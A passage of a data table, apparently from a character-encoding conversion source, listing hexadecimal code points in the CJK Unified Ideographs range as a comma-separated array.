0x6A90, 0x6A8D, 0x6AA0, 0x6A84, 0x6AA2, 0x6AA3, 0x6A97, 0x8617, 0x6ABB,
0x6AC3, 0x6AC2, 0x6AB8, 0x6AB3, 0x6AAC, 0x6ADE, 0x6AD1, 0x6ADF, 0x6AAA,
0x6ADA, 0x6AEA, 0x6AFB, 0x6B05, 0x8616, 0x6AFA, 0x6B12, 0x6B16, 0x9B31,
0x6B1F, 0x6B38, 0x6B37, 0x76DC, 0x6B39, 0x98EE, 0x6B47, 0x6B43, 0x6B49,
0x6B50, 0x6B59, 0x6B54, 0x6B5B, 0x6B5F, 0x6B61, 0x6B78, 0x6B79, 0x6B7F,
0x6B80, 0x6B84, 0x6B83, 0x6B8D, 0x6B98, 0x6B95, 0x6B9E, 0x6BA4, 0x6BAA,
0x6BAB, 0x6BAF, 0x6BB2, 0x6BB1, 0x6BB3, 0x6BB7, 0x6BBC, 0x6BC6, 0x6BCB,
0x6BD3, 0x6BDF, 0x6BEC, 0x6BEB, 0x6BF3, 0x6BEF, 0x9EBE, 0x6C08, 0x6C13,
0x6C14, 0x6C1B, 0x6C24, 0x6C23, 0x6C5E, 0x6C55, 0x6C62, 0x6C6A, 0x6C82,
0x6C8D, 0x6C9A, 0x6C81, 0x6C9B, 0x6C7E, 0x6C68, 0x6C73, 0x6C92, 0x6C90,
0x6CC4, 0x6CF1, 0x6CD3, 0x6CBD, 0x6CD7, 0x6CC5, 0x6CDD, 0x6CAE, 0x6CB1,
0x6CBE, 0x6CBA, 0x6CDB, 0x6CEF, 0x6CD9, 0x6CEA, 0x6D1F, 0x884D, 0x6D36,
0x6D2B, 0x6D3D, 0x6D38, 0x6D19, 0x6D35, 0x6D33, 0x6D12, 0x6D0C, 0x6D63,
0x6D93, 0x6D64, 0x6D5A, 0x6D79, 0x6D59, 0x6D8E, 0x6D95, 0x6FE4, 0x6D85,
0x6DF9, 0x6E15, 0x6E0A, 0x6DB5, 0x6DC7, 0x6DE6, 0x6DB8, 0x6DC6, 0x6DEC,
0x6DDE, 0x6DCC, 0x6DE8, 0x6DD2, 0x6DC5, 0x6DFA, 0x6DD9, 0x6DE4, 0x6DD5,
0x6DEA, 0x6DEE, 0x6E2D, 0x6E6E, 0x6E2E, 0x6E19, 0x6E72, 0x6E5F, 0x6E3E,
0x6E23, 0x6E6B, 0x6E2B, 0x6E76, 0x6E4D, 0x6E1F, 0x6E43, 0x6E3A, 0x6E4E,
0x6E24, 0x6EFF, 0x6E1D, 0x6E38, 0x6E82, 0x6EAA, 0x6E98, 0x6EC9, 0x6EB7,
0x6ED3, 0x6EBD, 0x6EAF, 0x6EC4, 0x6EB2, 0x6ED4, 0x6ED5, 0x6E8F, 0x6EA5,
0x6EC2, 0x6E9F, 0x6F41, 0x6F11, 0x704C, 0x6EEC, 0x6EF8, 0x6EFE, 0x6F3F,
0x6EF2, 0x6F31, 0x6EEF, 0x6F32, 0x6ECC, 0x6F3E, 0x6F13, 0x6EF7, 0x6F86,
0x6F7A, 0x6F78, 0x6F81, 0x6F80, 0x6F6F, 0x6F5B, 0x6FF3, 0x6F6D, 0x6F82,
0x6F7C, 0x6F58, 0x6F8E, 0x6F91, 0x6FC2, 0x6F66, 0x6FB3, 0x6FA3, 0x6FA1,
0x6FA4, 0x6FB9, 0x6FC6, 0x6FAA, 0x6FDF, 0x6FD5, 0x6FEC, 0x6FD4, 0x6FD8,
0x6FF1, 0x6FEE, 0x6FDB, 0x7009, 0x700B, 0x6FFA, 0x7011, 0x7001, 0x700F,
0x6FFE, 0x701B, 0x701A, 0x6F74, 0x701D, 0x7018, 0x701F, 0x7030, 0x703E,
0x7032, 0x7051, 0x7063, 0x7099, 0x7092, 0x70AF, 0x70F1, 0x70AC, 0x70B8,
0x70B3, 0x70AE, 0x70DF, 0x70CB, 0x70DD, 0x70D9, 0x7109, 0x70FD, 0x711C,
0x7119, 0x7165, 0x7155, 0x7188, 0x7166, 0x7162, 0x714C, 0x7156, 0x716C,
0x718F, 0x71FB, 0x7184, 0x7195, 0x71A8, 0x71AC, 0x71D7, 0x71B9, 0x71BE,
0x71D2, 0x71C9, 0x71D4, 0x71CE, 0x71E0, 0x71EC, 0x71E7, 0x71F5, 0x71FC,
0x71F9, 0x71FF, 0x720D, 0x7210, 0x721B, 0x7228, 0x722D, 0x722C, 0x7230,
0x7232, 0x723B, 0x723C, 0x723F, 0x7240, 0x7246, 0x724B, 0x7258, 0x7274,
0x727E, 0x7282, 0x7281, 0x7287, 0x7292, 0x7296, 0x72A2, 0x72A7, 0x72B9,
0x72B2, 0x72C3, 0x72C6, 0x72C4, 0x72CE, 0x72D2, 0x72E2, 0x72E0, 0x72E1,
0x72F9, 0x72F7, 0x500F, 0x7317, 0x730A, 0x731C, 0x7316, 0x731D, 0x7334,
0x732F, 0x7329, 0x7325, 0x733E, 0x734E, 0x734F, 0x9ED8, 0x7357, 0x736A,
0x7368, 0x7370, 0x7378, 0x7375, 0x737B, 0x737A, 0x73C8, 0x73B3, 0x73CE,
0x73BB, 0x73C0, 0x73E5, 0x73EE, 0x73DE, 0x74A2, 0x7405, 0x746F, 0x7425,
0x73F8, 0x7432, 0x743A, 0x7455, 0x743F, 0x745F, 0x7459, 0x7441, 0x745C,
0x7469, 0x7470, 0x7463, 0x746A, 0x7476, 0x747E, 0x748B, 0x749E, 0x74A7,
0x74CA, 0x74CF, 0x74D4, 0x73F1, 0x74E0, 0x74E3, 0x74E7, 0x74E9, 0x74EE,
0x74F2, 0x74F0, 0x74F1, 0x74F8, 0x74F7, 0x7504, 0x7503, 0x7505, 0x750C,
0x750E, 0x750D, 0x7515, 0x7513, 0x751E, 0x7526, 0x752C, 0x753C, 0x7544,
0x754D, 0x754A, 0x7549, 0x755B, 0x7546, 0x755A, 0x7569, 0x7564, 0x7567,
0x756B, 0x756D, 0x7578, 0x7576, 0x7586, 0x7587, 0x7574, 0x758A, 0x7589,
0x7582, 0x7594, 0x759A, 0x759D, 0x75A5, 0x75A3, 0x75C2, 0x75B3, 0x75C3,
0x75B5, 0x75BD, 0x75B8, 0x75BC, 0x75B1, 0x75CD, 0x75CA, 0x75D2, 0x75D9,
0x75E3, 0x75DE, 0x75FE, 0x75FF, 0x75FC, 0x7601, 0x75F0, 0x75FA, 0x75F2,
0x75F3, 0x760B, 0x760D, 0x7609, 0x761F, 0x7627, 0x7620, 0x7621, 0x7622,
0x7624, 0x7634, 0x7630, 0x763B, 0x7647, 0x7648, 0x7646, 0x765C, 0x7658,
0x7661, 0x7662, 0x7668, 0x7669, 0x766A, 0x7667, 0x766C, 0x7670, 0x7672,
0x7676, 0x7678, 0x767C, 0x7680, 0x7683, 0x7688, 0x768B, 0x768E, 0x7696,
0x7693, 0x7699, 0x769A, 0x76B0, 0x76B4, 0x76B8, 0x76B9, 0x76BA, 0x76C2,
0x76CD, 0x76D6, 0x76D2, 0x76DE, 0x76E1, 0x76E5, 0x76E7, 0x76EA, 0x862F,
0x76FB, 0x7708, 0x7707, 0x7704, 0x7729, 0x7724, 0x771E, 0x7725, 0x7726,
0x771B, 0x7737, 0x7738, 0x7747, 0x775A, 0x7768, 0x776B, 0x775B, 0x7765,
0x777F, 0x777E, 0x7779, 0x778E, 0x778B, 0x7791, 0x77A0, 0x779E, 0x77B0,
0x77B6, 0x77B9, 0x77BF, 0x77BC, 0x77BD, 0x77BB, 0x77C7, 0x77CD, 0x77D7,
0x77DA, 0x77DC, 0x77E3, 0x77EE, 0x77FC, 0x780C, 0x7812, 0x7926, 0x7820,
0x792A, 0x7845, 0x788E, 0x7874, 0x7886, 0x787C, 0x789A, 0x788C, 0x78A3,
0x78B5, 0x78AA, 0x78AF, 0x78D1, 0x78C6, 0x78CB, 0x78D4, 0x78BE, 0x78BC,
0x78C5, 0x78CA, 0x78EC, 0x78E7, 0x78DA, 0x78FD, 0x78F4, 0x7907, 0x7912,
0x7911, 0x7919, 0x792C, 0x792B, 0x7940, 0x7960, 0x7957, 0x795F, 0x795A,
0x7955, 0x7953, 0x797A, 0x797F, 0x798A, 0x799D, 0x79A7, 0x9F4B, 0x79AA,
0x79AE, 0x79B3, 0x79B9, 0x79BA, 0x79C9, 0x79D5, 0x79E7, 0x79EC, 0x79E1,
0x79E3, 0x7A08, 0x7A0D, 0x7A18, 0x7A19, 0x7A20, 0x7A1F, 0x7980, 0x7A31,
0x7A3B, 0x7A3E, 0x7A37, 0x7A43, 0x7A57, 0x7A49, 0x7A61, 0x7A62, 0x7A69,
0x9F9D, 0x7A70, 0x7A79, 0x7A7D, 0x7A88, 0x7A97, 0x7A95, 0x7A98, 0x7A96,
0x7AA9, 0x7AC8, 0x7AB0, 0x7AB6, 0x7AC5, 0x7AC4, 0x7ABF, 0x9083, 0x7AC7,
0x7ACA, 0x7ACD, 0x7ACF, 0x7AD5, 0x7AD3, 0x7AD9, 0x7ADA, 0x7ADD, 0x7AE1,
0x7AE2, 0x7AE6, 0x7AED, 0x7AF0, 0x7B02, 0x7B0F, 0x7B0A, 0x7B06, 0x7B33,
0x7B18, 0x7B19, 0x7B1E, 0x7B35, 0x7B28, 0x7B36, 0x7B50, 0x7B7A, 0x7B04,
0x7B4D, 0x7B0B, 0x7B4C, 0x7B45, 0x7B75, 0x7B65, 0x7B74, 0x7B67, 0x7B70,
0x7B71, 0x7B6C, 0x7B6E, 0x7B9D, 0x7B98, 0x7B9F, 0x7B8D, 0x7B9C, 0x7B9A,
0x7B8B, 0x7B92, 0x7B8F, 0x7B5D, 0x7B99, 0x7BCB, 0x7BC1, 0x7BCC, 0x7BCF,
0x7BB4, 0x7BC6, 0x7BDD, 0x7BE9, 0x7C11, 0x7C14, 0x7BE6, 0x7BE5, 0x7C60,
0x7C00, 0x7C07, 0x7C13, 0x7BF3, 0x7BF7, 0x7C17, 0x7C0D, 0x7BF6, 0x7C23,
0x7C27, 0x7C2A, 0x7C1F, 0x7C37, 0x7C2B, 0x7C3D, 0x7C4C, 0x7C43, 0x7C54,
0x7C4F, 0x7C40, 0x7C50, 0x7C58, 0x7C5F, 0x7C64, 0x7C56, 0x7C65, 0x7C6C,
0x7C75, 0x7C83, 0x7C90, 0x7CA4, 0x7CAD, 0x7CA2, 0x7CAB, 0x7CA1, 0x7CA8,
0x7CB3, 0x7CB2, 0x7CB1, 0x7CAE, 0x7CB9, 0x7CBD, 0x7CC0, 0x7CC5, 0x7CC2,
0x7CD8, 0x7CD2, 0x7CDC, 0x7CE2, 0x9B3B, 0x7CEF, 0x7CF2, 0x7CF4, 0x7CF6,
0x7CFA, 0x7D06, 0x7D02, 0x7D1C, 0x7D15, 0x7D0A, 0x7D45, 0x7D4B, 0x7D2E,
0x7D32, 0x7D3F, 0x7D35, 0x7D46, 0x7D73, 0x7D56, 0x7D4E, 0x7D72, 0x7D68,
0x7D6E, 0x7D4F, 0x7D63, 0x7D93, 0x7D89, 0x7D5B, 0x7D8F, 0x7D7D, 0x7D9B,
0x7DBA, 0x7DAE, 0x7DA3, 0x7DB5, 0x7DC7, 0x7DBD, 0x7DAB, 0x7E3D, 0x7DA2,
0x7DAF, 0x7DDC, 0x7DB8, 0x7D9F, 0x7DB0, 0x7DD8, 0x7DDD, 0x7DE4, 0x7DDE,
0x7DFB, 0x7DF2, 0x7DE1, 0x7E05, 0x7E0A, 0x7E23, 0x7E21, 0x7E12, 0x7E31,
0x7E1F, 0x7E09, 0x7E0B, 0x7E22, 0x7E46, 0x7E66, 0x7E3B, 0x7E35, 0x7E39,
0x7E43, 0x7E37, 0x7E32, 0x7E3A, 0x7E67, 0x7E5D, 0x7E56, 0x7E5E, 0x7E59,
0x7E5A, 0x7E79, 0x7E6A, 0x7E69, 0x7E7C, 0x7E7B, 0x7E83, 0x7DD5, 0x7E7D,
0x8FAE, 0x7E7F, 0x7E88, 0x7E89, 0x7E8C, 0x7E92, 0x7E90, 0x7E93, 0x7E94,
0x7E96, 0x7E8E, 0x7E9B, 0x7E9C, 0x7F38, 0x7F3A, 0x7F45, 0x7F4C, 0x7F4D,
0x7F4E, 0x7F50, 0x7F51, 0x7F55, 0x7F54, 0x7F58, 0x7F5F, 0x7F60, 0x7F68,
0x7F69, 0x7F67, 0x7F78, 0x7F82, 0x7F86, 0x7F83, 0x7F88, 0x7F87, 0x7F8C,
0x7F94, 0x7F9E, 0x7F9D, 0x7F9A, 0x7FA3, 0x7FAF, 0x7FB2, 0x7FB9, 0x7FAE,
0x7FB6, 0x7FB8, 0x8B71, 0x7FC5, 0x7FC6, 0x7FCA, 0x7FD5, 0x7FD4, 0x7FE1,
0x7FE6, 0x7FE9, 0x7FF3, 0x7FF9, 0x98DC, 0x8006, 0x8004, 0x800B, 0x8012,
0x8018, 0x8019, 0x801C, 0x8021, 0x8028, 0x803F, 0x803B, 0x804A, 0x8046,
0x8052, 0x8058, 0x805A, 0x805F, 0x8062, 0x8068, 0x8073, 0x8072, 0x8070,
0x8076, 0x8079, 0x807D, 0x807F, 0x8084, 0x8086, 0x8085, 0x809B, 0x8093,
0x809A, 0x80AD, 0x5190, 0x80AC, 0x80DB, 0x80E5, 0x80D9, 0x80DD, 0x80C4,
0x80DA, 0x80D6, 0x8109, 0x80EF, 0x80F1, 0x811B, 0x8129, 0x8123, 0x812F,
0x814B, 0x968B, 0x8146, 0x813E, 0x8153, 0x8151, 0x80FC, 0x8171, 0x816E,
0x8165, 0x8166, 0x8174, 0x8183, 0x8188, 0x818A, 0x8180, 0x8182, 0x81A0,
0x8195, 0x81A4, 0x81A3, 0x815F, 0x8193, 0x81A9, 0x81B0, 0x81B5, 0x81BE,
0x81B8, 0x81BD, 0x81C0, 0x81C2, 0x81BA, 0x81C9, 0x81CD, 0x81D1, 0x81D9,
0x81D8, 0x81C8, 0x81DA, 0x81DF, 0x81E0, 0x81E7, 0x81FA, 0x81FB, 0x81FE,
0x8201, 0x8202, 0x8205, 0x8207, 0x820A, 0x820D, 0x8210, 0x8216, 0x8229,
0x822B, 0x8238, 0x8233, 0x8240, 0x8259, 0x8258, 0x825D, 0x825A, 0x825F,
0x8264, 0x8262, 0x8268, 0x826A, 0x826B, 0x822E, 0x8271, 0x8277, 0x8278,
0x827E, 0x828D, 0x8292, 0x82AB, 0x829F, 0x82BB, 0x82AC, 0x82E1, 0x82E3,
0x82DF, 0x82D2, 0x82F4, 0x82F3, 0x82FA, 0x8393, 0x8303, 0x82FB, 0x82F9,
0x82DE, 0x8306, 0x82DC, 0x8309, 0x82D9, 0x8335, 0x8334, 0x8316, 0x8332,
0x8331, 0x8340, 0x8339, 0x8350, 0x8345, 0x832F, 0x832B, 0x8317, 0x8318,
0x8385, 0x839A, 0x83AA, 0x839F, 0x83A2, 0x8396, 0x8323, 0x838E, 0x8387,
0x838A, 0x837C, 0x83B5, 0x8373, 0x8375, 0x83A0, 0x8389, 0x83A8, 0x83F4,
0x8413, 0x83EB, 0x83CE, 0x83FD, 0x8403, 0x83D8, 0x840B, 0x83C1, 0x83F7,
0x8407, 0x83E0, 0x83F2, 0x840D, 0x8422, 0x8420, 0x83BD, 0x8438, 0x8506,
0x83FB, 0x846D, 0x842A, 0x843C, 0x855A, 0x8484, 0x8477, 0x846B, 0x84AD,
0x846E, 0x8482, 0x8469, 0x8446, 0x842C, 0x846F, 0x8479, 0x8435, 0x84CA,
0x8462, 0x84B9, 0x84BF, 0x849F, 0x84D9, 0x84CD, 0x84BB, 0x84DA, 0x84D0,
0x84C1, 0x84C6, 0x84D6, 0x84A1, 0x8521, 0x84FF, 0x84F4, 0x8517, 0x8518,
0x852C, 0x851F, 0x8515, 0x8514, 0x84FC, 0x8540, 0x8563, 0x8558, 0x8548,
0x8541, 0x8602, 0x854B, 0x8555, 0x8580, 0x85A4, 0x8588, 0x8591, 0x858A,
0x85A8, 0x856D, 0x8594, 0x859B, 0x85EA, 0x8587, 0x859C, 0x8577, 0x857E,
0x8590, 0x85C9, 0x85BA, 0x85CF, 0x85B9, 0x85D0, 0x85D5, 0x85DD, 0x85E5,
0x85DC, 0x85F9, 0x860A, 0x8613, 0x860B, 0x85FE, 0x85FA, 0x8606, 0x8622,
0x861A, 0x8630, 0x863F, 0x864D, 0x4E55, 0x8654, 0x865F, 0x8667, 0x8671,
0x8693, 0x86A3, 0x86A9, 0x86AA, 0x868B, 0x868C, 0x86B6, 0x86AF, 0x86C4,
0x86C6, 0x86B0, 0x86C9, 0x8823, 0x86AB, 0x86D4, 0x86DE, 0x86E9, 0x86EC,
0x86DF, 0x86DB, 0x86EF, 0x8712, 0x8706, 0x8708, 0x8700, 0x8703, 0x86FB,
0x8711, 0x8709, 0x870D, 0x86F9, 0x870A, 0x8734, 0x873F, 0x8737, 0x873B,
0x8725, 0x8729, 0x871A, 0x8760, 0x875F, 0x8778, 0x874C, 0x874E, 0x8774,
0x8757, 0x8768, 0x876E, 0x8759, 0x8753, 0x8763, 0x876A, 0x8805, 0x87A2,
0x879F, 0x8782, 0x87AF, 0x87CB, 0x87BD, 0x87C0, 0x87D0, 0x96D6, 0x87AB,
0x87C4, 0x87B3, 0x87C7, 0x87C6, 0x87BB, 0x87EF, 0x87F2, 0x87E0, 0x880F,
0x880D, 0x87FE, 0x87F6, 0x87F7, 0x880E, 0x87D2, 0x8811, 0x8816, 0x8815,
0x8822, 0x8821, 0x8831, 0x8836, 0x8839, 0x8827, 0x883B, 0x8844, 0x8842,
0x8852, 0x8859, 0x885E, 0x8862, 0x886B, 0x8881, 0x887E, 0x889E, 0x8875,
0x887D, 0x88B5, 0x8872, 0x8882, 0x8897, 0x8892, 0x88AE, 0x8899, 0x88A2,
0x888D, 0x88A4, 0x88B0, 0x88BF, 0x88B1, 0x88C3, 0x88C4, 0x88D4, 0x88D8,
0x88D9, 0x88DD, 0x88F9, 0x8902, 0x88FC, 0x88F4, 0x88E8, 0x88F2, 0x8904,
0x890C, 0x890A, 0x8913, 0x8943, 0x891E, 0x8925, 0x892A, 0x892B, 0x8941,
0x8944, 0x893B, 0x8936, 0x8938, 0x894C, 0x891D, 0x8960, 0x895E, 0x8966,
0x8964, 0x896D, 0x896A, 0x896F, 0x8974, 0x8977, 0x897E, 0x8983, 0x8988,
0x898A, 0x8993, 0x8998, 0x89A1, 0x89A9, 0x89A6, 0x89AC, 0x89AF, 0x89B2,
0x89BA, 0x89BD, 0x89BF, 0x89C0, 0x89DA, 0x89DC, 0x89DD, 0x89E7, 0x89F4,
0x89F8, 0x8A03, 0x8A16, 0x8A10, 0x8A0C, 0x8A1B, 0x8A1D, 0x8A25, 0x8A36,
0x8A41, 0x8A5B, 0x8A52, 0x8A46, 0x8A48, 0x8A7C, 0x8A6D, 0x8A6C, 0x8A62,
0x8A85, 0x8A82, 0x8A84, 0x8AA8, 0x8AA1, 0x8A91, 0x8AA5, 0x8AA6, 0x8A9A,
0x8AA3, 0x8AC4, 0x8ACD, 0x8AC2, 0x8ADA, 0x8AEB, 0x8AF3, 0x8AE7, 0x8AE4,
0x8AF1, 0x8B14, 0x8AE0, 0x8AE2, 0x8AF7, 0x8ADE, 0x8ADB, 0x8B0C, 0x8B07,
0x8B1A, 0x8AE1, 0x8B16, 0x8B10, 0x8B17, 0x8B20, 0x8B33, 0x97AB, 0x8B26,
0x8B2B, 0x8B3E, 0x8B28, 0x8B41, 0x8B4C, 0x8B4F, 0x8B4E, 0x8B49, 0x8B56,
0x8B5B, 0x8B5A, 0x8B6B, 0x8B5F, 0x8B6C, 0x8B6F, 0x8B74, 0x8B7D, 0x8B80,
0x8B8C, 0x8B8E, 0x8B92, 0x8B93, 0x8B96, 0x8B99, 0x8B9A, 0x8C3A, 0x8C41,
0x8C3F, 0x8C48, 0x8C4C, 0x8C4E, 0x8C50, 0x8C55, 0x8C62, 0x8C6C, 0x8C78,
0x8C7A, 0x8C82, 0x8C89, 0x8C85, 0x8C8A, 0x8C8D, 0x8C8E, 0x8C94, 0x8C7C,
0x8C98, 0x621D, 0x8CAD, 0x8CAA, 0x8CBD, 0x8CB2, 0x8CB3, 0x8CAE, 0x8CB6,
0x8CC8, 0x8CC1, 0x8CE4, 0x8CE3, 0x8CDA, 0x8CFD, 0x8CFA, 0x8CFB, 0x8D04,
0x8D05, 0x8D0A, 0x8D07, 0x8D0F, 0x8D0D, 0x8D10, 0x9F4E, 0x8D13, 0x8CCD,
0x8D14, 0x8D16, 0x8D67, 0x8D6D, 0x8D71, 0x8D73, 0x8D81, 0x8D99, 0x8DC2,
0x8DBE, 0x8DBA, 0x8DCF, 0x8DDA, 0x8DD6, 0x8DCC, 0x8DDB, 0x8DCB, 0x8DEA,
0x8DEB, 0x8DDF, 0x8DE3, 0x8DFC, 0x8E08, 0x8E09, 0x8DFF, 0x8E1D, 0x8E1E,
0x8E10, 0x8E1F, 0x8E42, 0x8E35, 0x8E30, 0x8E34, 0x8E4A, 0x8E47, 0x8E49,
0x8E4C, 0x8E50, 0x8E48, 0x8E59, 0x8E64, 0x8E60, 0x8E2A, 0x8E63, 0x8E55,
0x8E76, 0x8E72, 0x8E7C, 0x8E81, 0x8E87, 0x8E85, 0x8E84, 0x8E8B, 0x8E8A,
0x8E93, 0x8E91, 0x8E94, 0x8E99, 0x8EAA, 0x8EA1, 0x8EAC, 0x8EB0, 0x8EC6,
0x8EB1, 0x8EBE, 0x8EC5, 0x8EC8, 0x8ECB, 0x8EDB, 0x8EE3, 0x8EFC, 0x8EFB,
0x8EEB, 0x8EFE, 0x8F0A, 0x8F05, 0x8F15, 0x8F12, 0x8F19, 0x8F13, 0x8F1C,
0x8F1F, 0x8F1B, 0x8F0C, 0x8F26, 0x8F33, 0x8F3B, 0x8F39, 0x8F45, 0x8F42,
0x8F3E, 0x8F4C, 0x8F49, 0x8F46, 0x8F4E, 0x8F57, 0x8F5C, 0x8F62, 0x8F63,
0x8F64, 0x8F9C, 0x8F9F, 0x8FA3, 0x8FAD, 0x8FAF, 0x8FB7, 0x8FDA, 0x8FE5,
0x8FE2, 0x8FEA, 0x8FEF, 0x9087, 0x8FF4, 0x9005, 0x8FF9, 0x8FFA, 0x9011,
0x9015, 0x9021, 0x900D, 0x901E, 0x9016, 0x900B, 0x9027, 0x9036, 0x9035,
0x9039, 0x8FF8, 0x904F, 0x9050, 0x9051, 0x9052, 0x900E, 0x9049, 0x903E,
0x9056, 0x9058, 0x905E, 0x9068, 0x906F, 0x9076, 0x96A8, 0x9072, 0x9082,
0x907D, 0x9081, 0x9080, 0x908A, 0x9089, 0x908F, 0x90A8, 0x90AF, 0x90B1,
0x90B5, 0x90E2, 0x90E4, 0x6248, 0x90DB, 0x9102, 0x9112, 0x9119, 0x9132,
0x9130, 0x914A, 0x9156, 0x9158, 0x9163, 0x9165, 0x9169, 0x9173, 0x9172,
0x918B, 0x9189, 0x9182, 0x91A2, 0x91AB, 0x91AF, 0x91AA, 0x91B5, 0x91B4,
0x91BA, 0x91C0, 0x91C1, 0x91C9, 0x91CB, 0x91D0, 0x91D6, 0x91DF, 0x91E1,
0x91DB, 0x91FC, 0x91F5, 0x91F6, 0x921E, 0x91FF, 0x9214, 0x922C, 0x9215,
0x9211, 0x925E, 0x9257, 0x9245, 0x9249, 0x9264, 0x9248, 0x9295, 0x923F,
0x924B, 0x9250, 0x929C, 0x9296, 0x9293, 0x929B, 0x925A, 0x92CF, 0x92B9,
0x92B7, 0x92E9, 0x930F, 0x92FA, 0x9344, 0x932E, 0x9319, 0x9322, 0x931A,
0x9323, 0x933A, 0x9335, 0x933B, 0x935C, 0x9360, 0x937C, 0x936E, 0x9356,
0x93B0, 0x93AC, 0x93AD, 0x9394, 0x93B9, 0x93D6, 0x93D7, 0x93E8, 0x93E5,
0x93D8, 0x93C3, 0x93DD, 0x93D0, 0x93C8, 0x93E4, 0x941A, 0x9414, 0x9413,
0x9403, 0x9407, 0x9410, 0x9436, 0x942B, 0x9435, 0x9421, 0x943A, 0x9441,
0x9452, 0x9444, 0x945B, 0x9460, 0x9462, 0x945E, 0x946A, 0x9229, 0x9470,
0x9475, 0x9477, 0x947D, 0x945A, 0x947C, 0x947E, 0x9481, 0x947F, 0x9582,
0x9587, 0x958A, 0x9594, 0x9596, 0x9598, 0x9599, 0x95A0, 0x95A8, 0x95A7,
0x95AD, 0x95BC, 0x95BB, 0x95B9, 0x95BE, 0x95CA, 0x6FF6, 0x95C3, 0x95CD,
0x95CC, 0x95D5, 0x95D4, 0x95D6, 0x95DC, 0x95E1, 0x95E5, 0x95E2, 0x9621,
0x9628, 0x962E, 0x962F, 0x9642, 0x964C, 0x964F, 0x964B, 0x9677, 0x965C,
0x965E, 0x965D, 0x965F, 0x9666, 0x9672, 0x966C, 0x968D, 0x9698, 0x9695,
0x9697, 0x96AA, 0x96A7, 0x96B1, 0x96B2, 0x96B0, 0x96B4, 0x96B6, 0x96B8,
0x96B9, 0x96CE, 0x96CB, 0x96C9, 0x96CD, 0x894D, 0x96DC, 0x970D, 0x96D5,
0x96F9, 0x9704, 0x9706, 0x9708, 0x9713, 0x970E, 0x9711, 0x970F, 0x9716,
0x9719, 0x9724, 0x972A, 0x9730, 0x9739, 0x973D, 0x973E, 0x9744, 0x9746,
0x9748, 0x9742, 0x9749, 0x975C, 0x9760, 0x9764, 0x9766, 0x9768, 0x52D2,
0x976B, 0x9771, 0x9779, 0x9785, 0x977C, 0x9781, 0x977A, 0x9786, 0x978B,
0x978F, 0x9790, 0x979C, 0x97A8, 0x97A6, 0x97A3, 0x97B3, 0x97B4, 0x97C3,
0x97C6, 0x97C8, 0x97CB, 0x97DC, 0x97ED, 0x9F4F, 0x97F2, 0x7ADF, 0x97F6,
0x97F5, 0x980F, 0x980C, 0x9838, 0x9824, 0x9821, 0x9837, 0x983D, 0x9846,
0x984F, 0x984B, 0x986B, 0x986F, 0x9870, 0x9871, 0x9874, 0x9873, 0x98AA,
0x98AF, 0x98B1, 0x98B6, 0x98C4, 0x98C3, 0x98C6, 0x98E9, 0x98EB, 0x9903,
0x9909, 0x9912, 0x9914, 0x9918, 0x9921, 0x991D, 0x991E, 0x9924, 0x9920,
0x992C, 0x992E, 0x993D, 0x993E, 0x9942, 0x9949, 0x9945, 0x9950, 0x994B,
0x9951, 0x9952, 0x994C, 0x9955, 0x9997, 0x9998, 0x99A5, 0x99AD, 0x99AE,
0x99BC, 0x99DF, 0x99DB, 0x99DD, 0x99D8, 0x99D1, 0x99ED, 0x99EE, 0x99F1,
0x99F2, 0x99FB, 0x99F8, 0x9A01, 0x9A0F, 0x9A05, 0x99E2, 0x9A19, 0x9A2B,
0x9A37, 0x9A45, 0x9A42, 0x9A40, 0x9A43, 0x9A3E, 0x9A55, 0x9A4D, 0x9A5B,
0x9A57, 0x9A5F, 0x9A62, 0x9A65, 0x9A64, 0x9A69, 0x9A6B, 0x9A6A, 0x9AAD,
0x9AB0, 0x9ABC, 0x9AC0, 0x9ACF, 0x9AD1, 0x9AD3, 0x9AD4, 0x9ADE, 0x9ADF,
0x9AE2, 0x9AE3, 0x9AE6, 0x9AEF, 0x9AEB, 0x9AEE, 0x9AF4, 0x9AF1, 0x9AF7,
0x9AFB, 0x9B06, 0x9B18, 0x9B1A, 0x9B1F, 0x9B22, 0x9B23, 0x9B25, 0x9B27,
0x9B28, 0x9B29, 0x9B2A, 0x9B2E, 0x9B2F, 0x9B32, 0x9B44, 0x9B43, 0x9B4F,
0x9B4D, 0x9B4E, 0x9B51, 0x9B58, 0x9B74, 0x9B93, 0x9B83, 0x9B91, 0x9B96,
0x9B97, 0x9B9F, 0x9BA0, 0x9BA8, 0x9BB4, 0x9BC0, 0x9BCA, 0x9BB9, 0x9BC6,
0x9BCF, 0x9BD1, 0x9BD2, 0x9BE3, 0x9BE2, 0x9BE4, 0x9BD4, 0x9BE1, 0x9C3A,
0x9BF2, 0x9BF1, 0x9BF0, 0x9C15, 0x9C14, 0x9C09, 0x9C13, 0x9C0C, 0x9C06,
0x9C08, 0x9C12, 0x9C0A, 0x9C04, 0x9C2E, 0x9C1B, 0x9C25, 0x9C24, 0x9C21,
0x9C30, 0x9C47, 0x9C32, 0x9C46, 0x9C3E, 0x9C5A, 0x9C60, 0x9C67, 0x9C76,
0x9C78, 0x9CE7, 0x9CEC, 0x9CF0, 0x9D09, 0x9D08, 0x9CEB, 0x9D03, 0x9D06,
0x9D2A, 0x9D26, 0x9DAF, 0x9D23, 0x9D1F, 0x9D44, 0x9D15, 0x9D12, 0x9D41,
0x9D3F, 0x9D3E, 0x9D46, 0x9D48, 0x9D5D, 0x9D5E, 0x9D64, 0x9D51, 0x9D50,
0x9D59, 0x9D72, 0x9D89, 0x9D87, 0x9DAB, 0x9D6F, 0x9D7A, 0x9D9A, 0x9DA4,
0x9DA9, 0x9DB2, 0x9DC4, 0x9DC1, 0x9DBB, 0x9DB8, 0x9DBA, 0x9DC6, 0x9DCF,
0x9DC2, 0x9DD9, 0x9DD3, 0x9DF8, 0x9DE6, 0x9DED, 0x9DEF, 0x9DFD, 0x9E1A,
0x9E1B, 0x9E1E, 0x9E75, 0x9E79, 0x9E7D, 0x9E81, 0x9E88, 0x9E8B, 0x9E8C,
0x9E92, 0x9E95, 0x9E91, 0x9E9D, 0x9EA5, 0x9EA9, 0x9EB8, 0x9EAA, 0x9EAD,
0x9761, 0x9ECC, 0x9ECE, 0x9ECF, 0x9ED0, 0x9ED4, 0x9EDC, 0x9EDE, 0x9EDD,
0x9EE0, 0x9EE5, 0x9EE8, 0x9EEF, 0x9EF4, 0x9EF6, 0x9EF7, 0x9EF9, 0x9EFB,
0x9EFC, 0x9EFD, 0x9F07, 0x9F08, 0x76B7, 0x9F15, 0x9F21, 0x9F2C, 0x9F3E,
0x9F4A, 0x9F52, 0x9F54, 0x9F63, 0x9F5F, 0x9F60, 0x9F61, 0x9F66, 0x9F67,
